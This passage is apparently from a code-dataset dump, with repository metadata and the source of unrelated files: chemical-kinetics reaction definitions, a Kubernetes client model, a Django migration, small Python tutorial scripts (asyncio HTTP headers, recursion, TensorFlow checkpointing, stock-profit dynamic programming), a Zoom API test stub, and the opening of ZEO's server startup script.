kinetics = Arrhenius(A=(136000,'s^-1'), n=1.9199, Ea=(33.0402,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R5Hall;Cd_rad_out_singleH;XH_out] for rate rule [R5HJ_1;Cd_rad_out_singleH;CO_H_out]
Euclidian distance = 1.41421356237
family: intra_H_migration"""),
)
reaction(
label = 'reaction16',
reactants = ['OH(D)(132)', '[CH2][C]=CC[C]=O(17860)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS16',
kinetics = Arrhenius(A=(3.05166e+07,'m^3/(mol*s)'), n=0.045, Ea=(0.1046,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [O_pri_rad;Y_rad]
Euclidian distance = 0
family: R_Recombination"""),
)
reaction(
label = 'reaction17',
reactants = ['H(8)', 'C=[C]C([O])C[C]=O(14302)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS17',
kinetics = Arrhenius(A=(5.00518e+06,'m^3/(mol*s)'), n=0.282325, Ea=(7.09479,'kJ/mol'), T0=(1,'K'), comment="""Estimated using average of templates [Y_rad;O_rad/NonDe] + [H_rad;O_sec_rad] for rate rule [H_rad;O_rad/NonDe]
Euclidian distance = 1.0
family: R_Recombination"""),
)
reaction(
label = 'reaction18',
reactants = ['[CH2][C]=O(601)', '[CH2][C]=CO(18753)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS18',
kinetics = Arrhenius(A=(1.9789e+07,'m^3/(mol*s)'), n=-0.126319, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;Y_rad]
Euclidian distance = 0
family: R_Recombination
Ea raised from -15.6 to -15.6 kJ/mol.
Ea raised from -15.6 to 0 kJ/mol."""),
)
reaction(
label = 'reaction19',
reactants = ['H(8)', '[CH2][C]=C(O)C[C]=O(28251)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS19',
kinetics = Arrhenius(A=(4.34078e+06,'m^3/(mol*s)'), n=0.278577, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;H_rad]
Euclidian distance = 0
family: R_Recombination
Ea raised from -1.4 to 0 kJ/mol."""),
)
reaction(
label = 'reaction20',
reactants = ['H(8)', 'C=[C]C(O)[CH][C]=O(28252)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS20',
kinetics = Arrhenius(A=(4.34078e+06,'m^3/(mol*s)'), n=0.278577, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;H_rad]
Euclidian distance = 0
family: R_Recombination
Ea raised from -1.4 to 0 kJ/mol."""),
)
reaction(
label = 'reaction21',
reactants = ['H(8)', '[CH]=[C]C(O)C[C]=O(28253)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS21',
kinetics = Arrhenius(A=(4.34078e+06,'m^3/(mol*s)'), n=0.278577, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;H_rad]
Euclidian distance = 0
family: R_Recombination
Ea raised from -1.4 to 0 kJ/mol."""),
)
reaction(
label = 'reaction22',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=C=C(O)CC=O(28254)'],
transitionState = 'TS22',
kinetics = Arrhenius(A=(2.00399e+09,'s^-1'), n=0.37, Ea=(78.2471,'kJ/mol'), T0=(1,'K'), comment="""Estimated using average of templates [R3;Y_rad;XH_Rrad_De] + [R3radExo;Y_rad;XH_Rrad] for rate rule [R3radExo;Y_rad;XH_Rrad_De]
Euclidian distance = 1.0
family: Intra_Disproportionation"""),
)
reaction(
label = 'reaction23',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=CC(O)C=C=O(14307)'],
transitionState = 'TS23',
kinetics = Arrhenius(A=(5.2748e+09,'s^-1'), n=0.37, Ea=(88.9686,'kJ/mol'), T0=(1,'K'), comment="""Estimated using average of templates [R3;Y_rad_De;XH_Rrad] + [R3radExo;Y_rad;XH_Rrad] for rate rule [R3radExo;Y_rad_De;XH_Rrad]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 2.0
family: Intra_Disproportionation"""),
)
reaction(
label = 'reaction24',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['[CH2]C(=CO)C[C]=O(14236)'],
transitionState = 'TS24',
kinetics = Arrhenius(A=(8.66e+11,'s^-1'), n=0.438, Ea=(94.4747,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [cCs(-HR!H)CJ;CdsJ;C]
Euclidian distance = 0
family: 1,2_shiftC"""),
)
reaction(
label = 'reaction25',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=[C]C(O)C(=C)[O](14497)'],
transitionState = 'TS25',
kinetics = Arrhenius(A=(3.53e+06,'s^-1'), n=1.73, Ea=(245.601,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [cCs(-HH)CJ;CJ;C]
Euclidian distance = 0
family: 1,2_shiftC"""),
)
reaction(
label = 'reaction26',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=C1C(=O)CC1O(28255)'],
transitionState = 'TS26',
kinetics = Arrhenius(A=(1.62e+12,'s^-1'), n=-0.305, Ea=(8.28432,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [R4_SSS;Y_rad_out;Ypri_rad_out]
Euclidian distance = 0
family: Birad_recombination"""),
)
reaction(
label = 'reaction27',
reactants = ['[C-]#[O+](374)', '[CH2]C(O)[C]=C(5788)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS27',
kinetics = Arrhenius(A=(763693,'m^3/(mol*s)'), n=0.364815, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [COm;C_rad/H2/Cs]
Euclidian distance = 0
family: R_Addition_COm
Ea raised from -181.7 to 0 kJ/mol."""),
)
reaction(
label = 'reaction28',
reactants = ['[C]=C(584)', 'O=[C]C[CH]O(4550)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS28',
kinetics = Arrhenius(A=(1.14854e+06,'m^3/(mol*s)'), n=0.575199, Ea=(34.3157,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Y_rad;Birad] for rate rule [C_rad/H/CsO;Birad]
Euclidian distance = 4.0
family: Birad_R_Recombination"""),
)
reaction(
label = 'reaction29',
reactants = ['[C]=O(1149)', '[CH2]C(O)[C]=C(5788)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS29',
kinetics = Arrhenius(A=(1.14854e+06,'m^3/(mol*s)'), n=0.575199, Ea=(34.3157,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Y_rad;Birad] for rate rule [C_rad/H2/Cs;Birad]
Euclidian distance = 3.0
family: Birad_R_Recombination"""),
)
network(
label = '5115',
isomers = [
'C=[C]C(O)C[C]=O(14295)',
],
reactants = [
('C=C=O(598)', 'C=C=CO(12571)'),
],
bathGas = {
'N2': 0.25,
'Ne': 0.25,
'He': 0.25,
'Ar': 0.25,
},
)
pressureDependence(
label = '5115',
Tmin = (1200,'K'),
Tmax = (1500,'K'),
Tcount = 10,
Tlist = ([1201.48,1213.22,1236.21,1269.31,1310.55,1356.92,1404.16,1447.02,1479.84,1497.7],'K'),
Pmin = (1,'atm'),
Pmax = (10,'atm'),
Pcount = 10,
Plist = ([1.02771,1.14872,1.41959,1.89986,2.67608,3.83649,5.40396,7.23219,8.93758,9.98989],'bar'),
maximumGrainSize = (0.5,'kcal/mol'),
minimumGrainCount = 250,
method = 'modified strong collision',
interpolationModel = ('Chebyshev', 6, 4),
activeKRotor = True,
activeJRotor = True,
rmgmode = True,
)
| [
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]
| |
dea37d8cb8f20edbd9efe4496eee91c1a0e07810 | d37f798101bc6cc795b3ff7e5f9444ff30b4cd83 | /kubernetes/client/models/v1alpha2_pod_scheduling_context_status.py | 6c66c9464423da9126cd1786a1a8d2b186fe4809 | [
"Apache-2.0"
]
| permissive | MorningSong/python | bdd8b9d60b7c2185457fc1bbbc64d098f9682981 | ae7b5ddd219fe09b6ed0be715dcca3377a029584 | refs/heads/master | 2023-08-30T14:41:41.582335 | 2023-08-23T16:15:28 | 2023-08-23T16:15:28 | 139,396,247 | 0 | 0 | Apache-2.0 | 2023-09-14T00:11:24 | 2018-07-02T05:47:43 | Python | UTF-8 | Python | false | false | 4,167 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: release-1.27
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from kubernetes.client.configuration import Configuration
class V1alpha2PodSchedulingContextStatus(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'resource_claims': 'list[V1alpha2ResourceClaimSchedulingStatus]'
}
attribute_map = {
'resource_claims': 'resourceClaims'
}
def __init__(self, resource_claims=None, local_vars_configuration=None): # noqa: E501
"""V1alpha2PodSchedulingContextStatus - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._resource_claims = None
self.discriminator = None
if resource_claims is not None:
self.resource_claims = resource_claims
@property
def resource_claims(self):
"""Gets the resource_claims of this V1alpha2PodSchedulingContextStatus. # noqa: E501
ResourceClaims describes resource availability for each pod.spec.resourceClaim entry where the corresponding ResourceClaim uses \"WaitForFirstConsumer\" allocation mode. # noqa: E501
:return: The resource_claims of this V1alpha2PodSchedulingContextStatus. # noqa: E501
:rtype: list[V1alpha2ResourceClaimSchedulingStatus]
"""
return self._resource_claims
@resource_claims.setter
def resource_claims(self, resource_claims):
"""Sets the resource_claims of this V1alpha2PodSchedulingContextStatus.
ResourceClaims describes resource availability for each pod.spec.resourceClaim entry where the corresponding ResourceClaim uses \"WaitForFirstConsumer\" allocation mode. # noqa: E501
:param resource_claims: The resource_claims of this V1alpha2PodSchedulingContextStatus. # noqa: E501
:type: list[V1alpha2ResourceClaimSchedulingStatus]
"""
self._resource_claims = resource_claims
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, V1alpha2PodSchedulingContextStatus):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, V1alpha2PodSchedulingContextStatus):
return True
return self.to_dict() != other.to_dict()
| [
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]
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8d44940c93f41db2928de8cf2a87441142228f87 | 2970291ff52e98915abb47848aeb71517ed1fbab | /Calendar/migrations/0022_auto_20200405_1326.py | bd6f6fb6f31742fecf4543426da49ea7cd50f696 | []
| no_license | dannyswolf/MLShop_Django_Service_boook | dd33f4bb0352836897448bc45bbb09b7c49252c2 | 9ac5f85468487a53465e244ba31b9bc968300783 | refs/heads/master | 2023-07-15T15:06:53.298042 | 2021-08-29T11:49:42 | 2021-08-29T11:49:42 | 255,998,699 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 428 | py | # Generated by Django 3.0.4 on 2020-04-05 13:26
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Calendar', '0021_auto_20200405_1321'),
]
operations = [
migrations.AlterField(
model_name='calendar',
name='ฮฃฮทฮผฮตฮนฯฯฮตฮนฯ',
field=models.CharField(blank=True, max_length=5000, null=True),
),
]
| [
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]
| |
3fd7a3e0404f2751c89dc996684f5666f37c08be | b29acb2e230b3cf2f8be070850c34ed5d62dc80c | /Python/YPS/Rensyu/02/Sample3.py | e3bfe084639a71fc6f70ae86c31e8c018820e106 | []
| no_license | MasatakaShibataSS/lesson | be6e3557c52c6157b303be268822cad613a7e0f7 | 4f3f81ba0161b820410e2a481b63a999d0d4338c | refs/heads/master | 2020-06-17T13:42:08.383167 | 2019-11-11T07:23:14 | 2019-11-11T07:23:14 | 195,940,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 45 | py | print(1,"\t",2,"\t",3,"\t",4,"\t",5,"\t",6)
| [
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]
| |
a2dc7d962e925ae61393016853778208544ae2cf | 361459069b1b2eb5adb180d1f61241742d2fbcd8 | /chapter19/web_connect_test.py | fce8848c7c0dfe21207a76daa684fa204abaff31 | []
| no_license | tangkaiyang/python3_laioxuefeng | 1704e72163aa55ce177e5b7a88a3e7501b415ceb | 02400db01f144417ef202e6c135561c304cacb3a | refs/heads/master | 2020-04-28T15:13:17.163004 | 2019-08-06T07:53:18 | 2019-08-06T07:53:18 | 175,364,941 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 811 | py | # -*- coding:UTF-8 -*-
# ็จasyncio็ๅผๆญฅ็ฝ็ป่ฟๆฅๆฅ่ทๅsina,sohuๅ163็็ฝ็ซ้ฆ้กต:
import asyncio
@asyncio.coroutine
def wget(host):
print('wget %s...' % host)
connect = asyncio.open_connection(host, 80)
reader, writer = yield from connect
header = 'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % host
writer.write(header.encode('utf-8'))
yield from writer.drain()
while True:
line = yield from reader.readline()
if line == b'\r\n':
break
print('%s header > %s' % (host, line.decode('utf-8').rstrip()))
# Ignore the body, close the socket
writer.close()
loop = asyncio.get_event_loop()
tasks = [wget(host) for host in ['www.sina.com.cn', 'www.sohu.com', 'www.163.com']]
loop.run_until_complete(asyncio.wait(tasks))
loop.close()
| [
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]
| |
e45eaf86cbf8d480bd4e852ab5145b3d56778d7c | 9ed7bd97e2140c69091aef63a8de1991e3bc7f3d | /้ๅฝ/็ฎๅ้ๅฝไพๅญ.py | 8eb57c77374ff9d8e0a81030c185d1bed6d231e9 | []
| no_license | EruDev/Learn_Algorithms | d8a422d02f000ba428bc05f80cdf40860504946a | 71c98599d84a33727fc434826bab800311053d8e | refs/heads/master | 2020-03-15T12:42:22.625351 | 2018-07-30T02:30:04 | 2018-07-30T02:30:04 | 132,150,091 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | # coding: utf-8
def countdown(i):
if i < 0:
return
else:
countdown(i - 1)
print(i)
if __name__ == '__main__':
countdown(100) | [
"[email protected]"
]
| |
5ebb0f015b2b66dbb1ada9d1c3bad2a6bbb95c6b | 64660f7d708569135777d3ae429feed513f5d87f | /notebooks/_solutions/case1_bike_count1.py | 9bc481413fb41dc095a79972c617ecce99abad64 | [
"BSD-3-Clause"
]
| permissive | jorisvandenbossche/DS-python-data-analysis | ea8fd46e9160d00be8550aa8d87ea33146161b54 | be5d5030e891590990f9044ac66b116799d83fe5 | refs/heads/main | 2022-12-13T03:53:52.365280 | 2022-12-04T18:54:39 | 2022-12-04T18:54:39 | 73,628,771 | 87 | 67 | BSD-3-Clause | 2022-12-12T15:00:28 | 2016-11-13T16:39:51 | Jupyter Notebook | UTF-8 | Python | false | false | 59 | py | df = pd.read_csv("data/fietstellingencoupure.csv", sep=';') | [
"[email protected]"
]
| |
32e507dd74d087d7274fd08b3587e4d135fa1fbe | a9063fd669162d4ce0e1d6cd2e35974274851547 | /test/test_tsp_account1.py | 4676fce503d1768ca6306fed2f92039a0e1746ba | []
| no_license | rootalley/py-zoom-api | 9d29a8c750e110f7bd9b65ff7301af27e8518a3d | bfebf3aa7b714dcac78be7c0affb9050bbce8641 | refs/heads/master | 2022-11-07T14:09:59.134600 | 2020-06-20T18:13:50 | 2020-06-20T18:13:50 | 273,760,906 | 1 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,376 | py | # coding: utf-8
"""
Zoom API
The Zoom API allows developers to safely and securely access information from Zoom. You can use this API to build private services or public applications on the [Zoom App Marketplace](http://marketplace.zoom.us). To learn how to get your credentials and create private/public applications, read our [Authorization Guide](https://marketplace.zoom.us/docs/guides/authorization/credentials). All endpoints are available via `https` and are located at `api.zoom.us/v2/`. For instance you can list all users on an account via `https://api.zoom.us/v2/users/`. # noqa: E501
OpenAPI spec version: 2.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import swagger_client
from models.tsp_account1 import TSPAccount1 # noqa: E501
from swagger_client.rest import ApiException
class TestTSPAccount1(unittest.TestCase):
"""TSPAccount1 unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testTSPAccount1(self):
"""Test TSPAccount1"""
# FIXME: construct object with mandatory attributes with example values
# model = swagger_client.models.tsp_account1.TSPAccount1() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
| [
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]
| |
9cc8e243ecb51f23f2139ee75bf881a59f3830bf | c557bfe571bb82b0d3296125325d55a4ebdb4273 | /rcsslurmfollowup/urls.py | e3b6e75136207f0ce09754c72b176130667e673f | []
| no_license | scottcoughlin2014/rcsslurmfollowup | b620675e44fb418997d59b732ecd2a5654ef15df | 1478ff6c103395f1a3dbd6dec8414f46b948ac5d | refs/heads/master | 2023-08-18T18:03:58.635212 | 2021-10-14T13:45:31 | 2021-10-14T13:45:31 | 290,794,247 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 758 | py | """rcsslurmfollowup URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
urlpatterns = [
path('admin/', admin.site.urls),
]
| [
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]
| |
5cf7b38d124d0c0e7bf9b0f518fef34621713742 | 576cc83449e10fd3f98281970c46016ea7a5aea2 | /Tensorflow/CNN/ๆจกๅ็ไฟๅญไธๆขๅค.py | 5afbe1506eead1e2b7385c4097be42da24c579d7 | []
| no_license | HotView/PycharmProjects | 215ab9edd341e3293daebcf86d97537f8cd28d75 | 61393fe5ba781a8c1216a5cbe7e0d06149a10190 | refs/heads/master | 2020-06-02T07:41:53.608742 | 2019-11-13T08:31:57 | 2019-11-13T08:31:57 | 191,085,178 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 578 | py | import tensorflow as tf
## ๆจกๅ็ไฟๅญ
save_path ='...'
saver = tf.train.Saver()
sess = tf.Session()
saver.save(sess,save_path)
## ๆจกๅ็ๆขๅค
save_path = ".."
saver = tf.train.Saver()
sess= tf.Session()
saver.restore(sess,save_path)
## ๅคๆฌกๆจกๅ็ไฟๅญๅๆขๅค
save_path = ".."
saver = tf.train.Saver()
sess= tf.Session()
epoch = 5
n =None
if epoch%n==0:
saver.save(sess,save_path,global_step=epoch)
## ๆขๅคๆๆฐ็ๆจกๅ
save_path = ".."
model = tf.train.latest_checkpoint(save_path)
saver = tf.train.Saver()
sess= tf.Session()
saver.restore(sess,model)
| [
"[email protected]"
]
| |
b9fc0aa48976be5a27682e1ba77b1e50abc59b40 | be3c759bd915887a384d1ef437ebf7277c75bd06 | /DynamicProgramming/BestTimeToBuyAndSellStock.py | dbf1090d26ca00a049bf614f03d64d5d63303251 | []
| no_license | yistar-traitor/LeetCode | c24411763d541b6eaf9ccc344c3fd24f9a00e633 | 0dd48b990f8bd0874630b1860361c6b3b2c801f6 | refs/heads/master | 2020-09-28T20:46:45.016872 | 2019-12-18T02:25:34 | 2019-12-18T02:25:34 | 226,861,515 | 0 | 0 | null | 2019-12-18T02:25:36 | 2019-12-09T12:04:01 | null | UTF-8 | Python | false | false | 2,292 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/8/24 0:03
# @Author : tc
# @File : BestTimeToBuyAndSellStock.py
"""
็ปๅฎไธไธชๆฐ็ป๏ผๅฎ็็ฌฌย i ไธชๅ
็ด ๆฏไธๆฏ็ปๅฎ่ก็ฅจ็ฌฌ i ๅคฉ็ไปทๆ ผใ
ๅฆๆไฝ ๆๅคๅชๅ
่ฎธๅฎๆไธ็ฌไบคๆ๏ผๅณไนฐๅ
ฅๅๅๅบไธๆฏ่ก็ฅจ๏ผ๏ผ่ฎพ่ฎกไธไธช็ฎๆณๆฅ่ฎก็ฎไฝ ๆ่ฝ่ทๅ็ๆๅคงๅฉๆถฆใ
ๆณจๆไฝ ไธ่ฝๅจไนฐๅ
ฅ่ก็ฅจๅๅๅบ่ก็ฅจ
Input1:[7,1,5,3,6,4]
Output1:5
่งฃ้: ๅจ็ฌฌ 2 ๅคฉ๏ผ่ก็ฅจไปทๆ ผ = 1๏ผ็ๆถๅไนฐๅ
ฅ๏ผๅจ็ฌฌ 5 ๅคฉ๏ผ่ก็ฅจไปทๆ ผ = 6๏ผ็ๆถๅๅๅบ๏ผๆๅคงๅฉๆถฆ = 6-1 = 5 ใ
ๆณจๆๅฉๆถฆไธ่ฝๆฏ 7-1 = 6, ๅ ไธบๅๅบไปทๆ ผ้่ฆๅคงไบไนฐๅ
ฅไปทๆ ผใ
Input1:[7,6,4,3,1]
Output1:0
่งฃ้: ๅจ่ฟ็งๆ
ๅตไธ, ๆฒกๆไบคๆๅฎๆ, ๆไปฅๆๅคงๅฉๆถฆไธบ 0ใ
ๆ็คบ:ๅจๆ่งๅ ๅiๅคฉ็ๆๅคงๆถ็ = max{ๅi-1ๅคฉ็ๆๅคงๆถ็๏ผ็ฌฌiๅคฉ็ไปทๆ ผ-ๅi-1ๅคฉไธญ็ๆๅฐไปทๆ ผ}
ไผๅๅ็ไปฃ็ ็ไผ้
"""
#่งฃๆณ1
def maxProfit(prices):
m = len(prices)
if m in [0,1]:
return 0
dp = [0] * m
min_buy = float('inf')
for i in range(m-1):
min_buy = min(min_buy, prices[i])
if prices[i+1] >= prices[i]:
dp[i+1] = max(dp[i], prices[i+1] - min_buy)
else:
dp[i+1] = dp[i]
return dp[-1]
#ไผๅๅ
def maxProfit2(prices):
min_p, max_p = 999999, 0
for i in range(len(prices)):
min_p = min(min_p, prices[i])
max_p = max(max_p, prices[i] - min_p)
return max_p
#่งฃๆณไบ:ๅฉ็จ็ถๆๆบๅ
ทไฝๅ่ๅซๆ็ปญ่ดน้ฃ้ข
"""
็ถๆ่ฝฌ็งป:
ๆ้ๆๆ่ก็ฅจ -> ่งๆ -> ๆ้ๆ่ก็ฅจ
ๆ้ๆฒกๆ่ก็ฅจ -> ไนฐๅ
ฅ -> ๆ้ๆ่ก็ฅจ
ๆ้ๆๆ่ก็ฅจ -> ๆๅบ -> ๆ้ๆฒกๆ่ก็ฅจ
ๆ้ๆฒกๆ่ก็ฅจ -> ่งๆ -> ๆ้ๆฒกๆ่ก็ฅจ
"""
def maxProfit3(prices):
m = len(prices)
if not m:
return 0
dp_hold = [0] * m
dp_cash = [0] * m
dp_hold[0] = -prices[0]
for i in range(1, m):
dp_hold[i] = max(dp_hold[i - 1], -prices[i]) #ๆณจๆ่ฟ้,็ฑไบๅชๆไธๆฌกไนฐๅ
ฅๅๆๅบ็ๆบไผ,ๆไปฅๆ้ๆๆ่ก็ฅจ็ๆๅคงๆถ็ๅฐฑๆฏ่ดญไนฐ่ฏฅ่ก็ฅจ็ๆๆฌ
dp_cash[i] = max(dp_cash[i - 1],dp_hold[i -1] + prices[i])
return dp_cash[-1]
if __name__ == '__main__':
prices = [7,6,4,3,1]
print(maxProfit(prices))
| [
"[email protected]"
]
| |
93b9d5e73f675c4943a5c8250169cb72213f4ca8 | 08acec95bd1dc302633fadf7b47cd8ba3b749ff3 | /day-2018-04-02/myproject/venv/lib/python2.7/site-packages/ZEO/tests/ZEO4/runzeo.py | f8cb989b0151a6207e0113ed2de2da821bb8c934 | []
| no_license | WeAreHus/StudyRecord | 74a312103ad2c037de23534160fa42d6a68ad174 | 047b7d9dcbee7c01ad2e8b888b160e66dfa9012d | refs/heads/master | 2022-12-16T14:47:15.984939 | 2019-04-29T15:16:15 | 2019-04-29T15:16:15 | 127,758,387 | 2 | 1 | null | 2022-11-22T02:50:30 | 2018-04-02T13:15:07 | Python | UTF-8 | Python | false | false | 14,056 | py | ##############################################################################
#
# Copyright (c) 2001, 2002, 2003 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE
#
##############################################################################
"""Start the ZEO storage server.
Usage: %s [-C URL] [-a ADDRESS] [-f FILENAME] [-h]
Options:
-C/--configuration URL -- configuration file or URL
-a/--address ADDRESS -- server address of the form PORT, HOST:PORT, or PATH
(a PATH must contain at least one "/")
-f/--filename FILENAME -- filename for FileStorage
-t/--timeout TIMEOUT -- transaction timeout in seconds (default no timeout)
-h/--help -- print this usage message and exit
-m/--monitor ADDRESS -- address of monitor server ([HOST:]PORT or PATH)
--pid-file PATH -- relative path to output file containing this process's pid;
default $(INSTANCE_HOME)/var/ZEO.pid but only if envar
INSTANCE_HOME is defined
Unless -C is specified, -a and -f are required.
"""
from __future__ import print_function
from __future__ import print_function
# The code here is designed to be reused by other, similar servers.
# For the forseeable future, it must work under Python 2.1 as well as
# 2.2 and above.
import asyncore
import os
import sys
import signal
import socket
import logging
import ZConfig.datatypes
from zdaemon.zdoptions import ZDOptions
logger = logging.getLogger('ZEO.runzeo')
_pid = str(os.getpid())
def log(msg, level=logging.INFO, exc_info=False):
"""Internal: generic logging function."""
message = "(%s) %s" % (_pid, msg)
logger.log(level, message, exc_info=exc_info)
def parse_binding_address(arg):
# Caution: Not part of the official ZConfig API.
obj = ZConfig.datatypes.SocketBindingAddress(arg)
return obj.family, obj.address
def windows_shutdown_handler():
# Called by the signal mechanism on Windows to perform shutdown.
import asyncore
asyncore.close_all()
class ZEOOptionsMixin(object):
storages = None
def handle_address(self, arg):
self.family, self.address = parse_binding_address(arg)
def handle_monitor_address(self, arg):
self.monitor_family, self.monitor_address = parse_binding_address(arg)
def handle_filename(self, arg):
from ZODB.config import FileStorage # That's a FileStorage *opener*!
class FSConfig(object):
def __init__(self, name, path):
self._name = name
self.path = path
self.stop = None
def getSectionName(self):
return self._name
if not self.storages:
self.storages = []
name = str(1 + len(self.storages))
conf = FileStorage(FSConfig(name, arg))
self.storages.append(conf)
testing_exit_immediately = False
def handle_test(self, *args):
self.testing_exit_immediately = True
def add_zeo_options(self):
self.add(None, None, None, "test", self.handle_test)
self.add(None, None, "a:", "address=", self.handle_address)
self.add(None, None, "f:", "filename=", self.handle_filename)
self.add("family", "zeo.address.family")
self.add("address", "zeo.address.address",
required="no server address specified; use -a or -C")
self.add("read_only", "zeo.read_only", default=0)
self.add("invalidation_queue_size", "zeo.invalidation_queue_size",
default=100)
self.add("invalidation_age", "zeo.invalidation_age")
self.add("transaction_timeout", "zeo.transaction_timeout",
"t:", "timeout=", float)
self.add("monitor_address", "zeo.monitor_address.address",
"m:", "monitor=", self.handle_monitor_address)
self.add('auth_protocol', 'zeo.authentication_protocol',
None, 'auth-protocol=', default=None)
self.add('auth_database', 'zeo.authentication_database',
None, 'auth-database=')
self.add('auth_realm', 'zeo.authentication_realm',
None, 'auth-realm=')
self.add('pid_file', 'zeo.pid_filename',
None, 'pid-file=')
class ZEOOptions(ZDOptions, ZEOOptionsMixin):
__doc__ = __doc__
logsectionname = "eventlog"
schemadir = os.path.dirname(__file__)
def __init__(self):
ZDOptions.__init__(self)
self.add_zeo_options()
self.add("storages", "storages",
required="no storages specified; use -f or -C")
def realize(self, *a, **k):
ZDOptions.realize(self, *a, **k)
nunnamed = [s for s in self.storages if s.name is None]
if nunnamed:
if len(nunnamed) > 1:
return self.usage("No more than one storage may be unnamed.")
if [s for s in self.storages if s.name == '1']:
return self.usage(
"Can't have an unnamed storage and a storage named 1.")
for s in self.storages:
if s.name is None:
s.name = '1'
break
class ZEOServer(object):
def __init__(self, options):
self.options = options
def main(self):
self.setup_default_logging()
self.check_socket()
self.clear_socket()
self.make_pidfile()
try:
self.open_storages()
self.setup_signals()
self.create_server()
self.loop_forever()
finally:
self.server.close()
self.clear_socket()
self.remove_pidfile()
def setup_default_logging(self):
if self.options.config_logger is not None:
return
# No log file is configured; default to stderr.
root = logging.getLogger()
root.setLevel(logging.INFO)
fmt = logging.Formatter(
"------\n%(asctime)s %(levelname)s %(name)s %(message)s",
"%Y-%m-%dT%H:%M:%S")
handler = logging.StreamHandler()
handler.setFormatter(fmt)
root.addHandler(handler)
def check_socket(self):
if (isinstance(self.options.address, tuple) and
self.options.address[1] is None):
self.options.address = self.options.address[0], 0
return
if self.can_connect(self.options.family, self.options.address):
self.options.usage("address %s already in use" %
repr(self.options.address))
def can_connect(self, family, address):
s = socket.socket(family, socket.SOCK_STREAM)
try:
s.connect(address)
except socket.error:
return 0
else:
